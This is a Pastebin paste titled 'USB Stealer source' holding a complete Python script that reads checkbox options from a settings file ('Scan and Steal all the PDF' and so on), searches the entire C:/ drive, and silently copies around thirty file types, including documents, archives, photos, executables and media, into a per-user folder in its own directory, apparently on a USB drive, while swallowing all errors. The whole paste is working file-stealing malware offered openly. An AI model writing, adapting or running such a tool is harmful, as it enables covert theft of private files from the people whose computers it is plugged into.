Guest User

USB Stealer source

a guest
Aug 15th, 2012
601
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.04 KB | None | 0 0
  1. import os, shutil
  2. import os.path
  3. import shutil
  4. from shutil import copyfile
  5. import getpass
  6. import os, fnmatch
  7. import glob, os, shutil
  8.  
  9.  
  10. text_file = open("settings.txt", "r")
  11. settingslines = text_file.readlines()
  12.  
  13. #BoKKeR
  14.  
  15. txt_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/TXT/"
  16. if not os.path.exists(txt_dst):
  17.     os.makedirs(txt_dst)
  18.  
  19. pdf_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PDF/"
  20. if not os.path.exists(pdf_dst):
  21.     os.makedirs(pdf_dst)
  22.  
  23. log_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/LOG/"
  24. if not os.path.exists(log_dst):
  25.     os.makedirs(log_dst)
  26.  
  27. doc_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/DOC/"
  28. if not os.path.exists(doc_dst):
  29.     os.makedirs(doc_dst)
  30.    
  31. docx_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/DOCX/"
  32. if not os.path.exists(docx_dst):
  33.     os.makedirs(docx_dst)
  34.    
  35. rar_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/RAR/"
  36. if not os.path.exists(rar_dst):
  37.     os.makedirs(rar_dst)    
  38.    
  39. zip_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/ZIP/"
  40. if not os.path.exists(zip_dst):
  41.     os.makedirs(zip_dst)  
  42.  
  43. iso_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/ISO/"
  44. if not os.path.exists(iso_dst):
  45.     os.makedirs(iso_dst)  
  46.  
  47. jar_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/JAR/"
  48. if not os.path.exists(jar_dst):
  49.     os.makedirs(jar_dst)  
  50.  
  51. jpg_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/JPG/"
  52. if not os.path.exists(jpg_dst):
  53.     os.makedirs(jpg_dst)  
  54.    
  55. bmp_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/BMP/"
  56. if not os.path.exists(bmp_dst):
  57.     os.makedirs(bmp_dst)
  58.    
  59. png_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PNG/"
  60. if not os.path.exists(png_dst):
  61.     os.makedirs(png_dst)
  62.    
  63. gif_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/GIF/"
  64. if not os.path.exists(gif_dst):
  65.     os.makedirs(gif_dst)
  66.    
  67. exe_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/EXE/"
  68. if not os.path.exists(exe_dst):
  69.     os.makedirs(exe_dst)
  70.    
  71. ppt_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PPT/"
  72. if not os.path.exists(ppt_dst):
  73.     os.makedirs(ppt_dst)
  74.    
  75. pptx_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PPTX/"
  76. if not os.path.exists(pptx_dst):
  77.     os.makedirs(pptx_dst)
  78.    
  79. avi_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/AVI/"
  80. if not os.path.exists(avi_dst):
  81.     os.makedirs(avi_dst)
  82.    
  83. mp4_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MP4/"
  84. if not os.path.exists(mp4_dst):
  85.     os.makedirs(mp4_dst)
  86.    
  87. mov_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MOV/"
  88. if not os.path.exists(mov_dst):
  89.     os.makedirs(mov_dst)
  90.    
  91. flv_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/FLV/"
  92. if not os.path.exists(flv_dst):
  93.     os.makedirs(flv_dst)
  94.    
  95. mpg_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MPG/"
  96. if not os.path.exists(mpg_dst):
  97.     os.makedirs(mpg_dst)
  98.    
  99. wmv_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/WMV/"
  100. if not os.path.exists(wmv_dst):
  101.     os.makedirs(wmv_dst)
  102.  
  103. mp3_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/MP3/"
  104. if not os.path.exists(mp3_dst):
  105.     os.makedirs(mp3_dst)
  106.  
  107. flac_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/FLAC/"
  108. if not os.path.exists(flac_dst):
  109.     os.makedirs(flac_dst)
  110.  
  111. wma_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/WMA/"
  112. if not os.path.exists(wma_dst):
  113.     os.makedirs(wma_dst)
  114.    
  115. m4a_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/M4A/"
  116. if not os.path.exists(m4a_dst):
  117.     os.makedirs(m4a_dst)    
  118.    
  119. wav_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/WAV/"
  120. if not os.path.exists(wav_dst):
  121.     os.makedirs(wav_dst)
  122.    
  123. psd_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/PSD/"
  124. if not os.path.exists(psd_dst):
  125.     os.makedirs(psd_dst)
  126.    
  127. raw_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/RAW/"
  128. if not os.path.exists(raw_dst):
  129.     os.makedirs(raw_dst)
  130.    
  131. apk_dst = os.getcwd() + "/SLD/" + getpass.getuser() + "/APK/"
  132. if not os.path.exists(apk_dst):
  133.     os.makedirs(apk_dst)
  134.        
  135. def search(dir, ext):
  136.     for root, dirs, files in os.walk(dir):
  137.         for name in files:
  138.             if fnmatch.fnmatch(name, ext):
  139.                 filename = os.path.join(root, name)
  140.                 yield filename
  141.  
  142. text_file = open("settings.txt", "r")
  143. settingslines = text_file.readlines()
  144. if settingslines[0] == "[X] Scan and Steal all the TXT\n":
  145.   for filename in search('C:/', '*.txt'):
  146.     try:
  147.       shutil.copy2(filename, txt_dst)
  148.     except:
  149.       pass
  150.  
  151. if settingslines[1] == "[X] Scan and Steal all the PDF\n":
  152.   for filename in search('C:/', '*.pdf'):
  153.     try:
  154.       shutil.copy2(filename, pdf_dst)
  155.     except:
  156.       pass
  157.  
  158. if settingslines[2] == "[X] Scan and Steal all the LOG\n":
  159.   for filename in search('C:/', '*.log'):
  160.     try:
  161.       shutil.copy2(filename, log_dst)
  162.     except:
  163.       pass
  164.      
  165. if settingslines[3] == "[X] Scan and Steal all the DOC\n":
  166.   for filename in search('C:/', '*.doc'):
  167.     try:
  168.       shutil.copy2(filename, doc_dst)
  169.     except:
  170.       pass      
  171.  
  172. if settingslines[4] == "[X] Scan and Steal all the DOCX\n":
  173.   for filename in search('C:/', '*.docx'):
  174.     try:
  175.       shutil.copy2(filename, docx_dst)
  176.     except:
  177.       pass
  178.      
  179. if settingslines[5] == "[X] Scan and Steal all the RAR\n":
  180.   for filename in search('C:/', '*.rar'):
  181.     try:
  182.       shutil.copy2(filename, rar_dst)
  183.     except:
  184.       pass
  185.      
  186. if settingslines[6] == "[X] Scan and Steal all the ZIP\n":
  187.   for filename in search('C:/', '*.zip'):
  188.     try:
  189.       shutil.copy2(filename, zip_dst)
  190.     except:
  191.       pass
  192.  
  193. if settingslines[7] == "[X] Scan and Steal all the ISO\n":
  194.   for filename in search('C:/', '*.iso'):
  195.     try:
  196.       shutil.copy2(filename, iso_dst)
  197.     except:
  198.       pass
  199.                  
  200. if settingslines[8] == "[X] Scan and Steal all the JAR\n":
  201.   for filename in search('C:/', '*.jar'):
  202.     try:
  203.       shutil.copy2(filename, jar_dst)
  204.     except:
  205.       pass  
  206.                
  207. if settingslines[9] == "[X] Scan and Steal all the JPG\n":
  208.   for filename in search('C:/', '*.jpg'):
  209.     try:
  210.       shutil.copy2(filename, jpg_dst)
  211.     except:
  212.       pass    
  213.                
  214. if settingslines[10] == "[X] Scan and Steal all the BMP\n":
  215.   for filename in search('C:/', '*.bmp'):
  216.     try:
  217.       shutil.copy2(filename, bmp_dst)
  218.     except:
  219.       pass      
  220.              
  221. if settingslines[11] == "[X] Scan and Steal all the PNG\n":
  222.   for filename in search('C:/', '*.png'):
  223.     try:
  224.       shutil.copy2(filename, png_dst)
  225.     except:
  226.       pass          
  227.        
  228. if settingslines[12] == "[X] Scan and Steal all the GIF\n":
  229.   for filename in search('C:/', '*.gif'):
  230.     try:
  231.       shutil.copy2(filename, gif_dst)
  232.     except:
  233.       pass      
  234.            
  235. if settingslines[13] == "[X] Scan and Steal all the EXE\n":
  236.   for filename in search('C:/', '*.exe'):
  237.     try:
  238.       shutil.copy2(filename, exe_dst)
  239.     except:
  240.       pass    
  241.              
  242. if settingslines[14] == "[X] Scan and Steal all the PPT\n":
  243.   for filename in search('C:/', '*.ppt'):
  244.     try:
  245.       shutil.copy2(filename, ppt_dst)
  246.     except:
  247.       pass      
  248.              
  249. if settingslines[15] == "[X] Scan and Steal all the PPTX\n":
  250.   for filename in search('C:/', '*.pptx'):
  251.     try:
  252.       shutil.copy2(filename, pptx_dst)
  253.     except:
  254.       pass          
  255.        
  256. if settingslines[16] == "[X] Scan and Steal all the AVI\n":
  257.   for filename in search('C:/', '*.avi'):
  258.     try:
  259.       shutil.copy2(filename, avi_dst)
  260.     except:
  261.       pass      
  262.            
  263. if settingslines[17] == "[X] Scan and Steal all the MP4\n":
  264.   for filename in search('C:/', '*.mp4'):
  265.     try:
  266.       shutil.copy2(filename, mp4_dst)
  267.     except:
  268.       pass        
  269.          
  270. if settingslines[18] == "[X] Scan and Steal all the MOV\n":
  271.   for filename in search('C:/', '*.mov'):
  272.     try:
  273.       shutil.copy2(filename, mov_dst)
  274.     except:
  275.       pass    
  276.              
  277. if settingslines[19] == "[X] Scan and Steal all the FLV\n":
  278.   for filename in search('C:/', '*.flv'):
  279.     try:
  280.       shutil.copy2(filename, flv_dst)
  281.     except:
  282.       pass    
  283.              
  284. if settingslines[20] == "[X] Scan and Steal all the MPG\n":
  285.   for filename in search('C:/', '*.mpg'):
  286.     try:
  287.       shutil.copy2(filename, mpg_dst)
  288.     except:
  289.       pass  
  290.                  
  291. if settingslines[21] == "[X] Scan and Steal all the WMV\n":
  292.   for filename in search('C:/', '*.wmv'):
  293.     try:
  294.       shutil.copy2(filename, wmv_dst)
  295.     except:
  296.       pass    
  297.                
  298. if settingslines[22] == "[X] Scan and Steal all the MP3\n":
  299.   for filename in search('C:/', '*.mp3'):
  300.     try:
  301.       shutil.copy2(filename, mp3_dst)
  302.     except:
  303.       pass    
  304.              
  305. if settingslines[23] == "[X] Scan and Steal all the FLAC\n":
  306.   for filename in search('C:/', '*.flac'):
  307.     try:
  308.       shutil.copy2(filename, flac_dst)
  309.     except:
  310.       pass    
  311.                
  312. if settingslines[24] == "[X] Scan and Steal all the WMA\n":
  313.   for filename in search('C:/', '*.wma'):
  314.     try:
  315.       shutil.copy2(filename, wma_dst)
  316.     except:
  317.       pass  
  318.                  
  319. if settingslines[25] == "[X] Scan and Steal all the M4A\n":
  320.   for filename in search('C:/', '*.m4a'):
  321.     try:
  322.       shutil.copy2(filename, m4a_dst)
  323.     except:
  324.       pass  
  325.                
  326. if settingslines[26] == "[X] Scan and Steal all the WAV\n":
  327.   for filename in search('C:/', '*.wav'):
  328.     try:
  329.       shutil.copy2(filename, wav_dst)
  330.     except:
  331.       pass  
  332.                
  333. if settingslines[27] == "[X] Scan and Steal all the PSD\n":
  334.   for filename in search('C:/', '*.psd'):
  335.     try:
  336.       shutil.copy2(filename, psd_dst)
  337.     except:
  338.       pass  
  339.                
  340. if settingslines[28] == "[X] Scan and Steal all the RAW\n":
  341.   for filename in search('C:/', '*.raw'):
  342.     try:
  343.       shutil.copy2(filename, raw_dst)
  344.     except:
  345.       pass  
  346.                  
  347. if settingslines[29] == "[X] Scan and Steal all the APK\n":
  348.   for filename in search('C:/', '*.apk'):
  349.     try:
  350.       shutil.copy2(filename, apk_dst)
  351.     except:
  352.       pass
Advertisement
Add Comment
Please, Sign In to add comment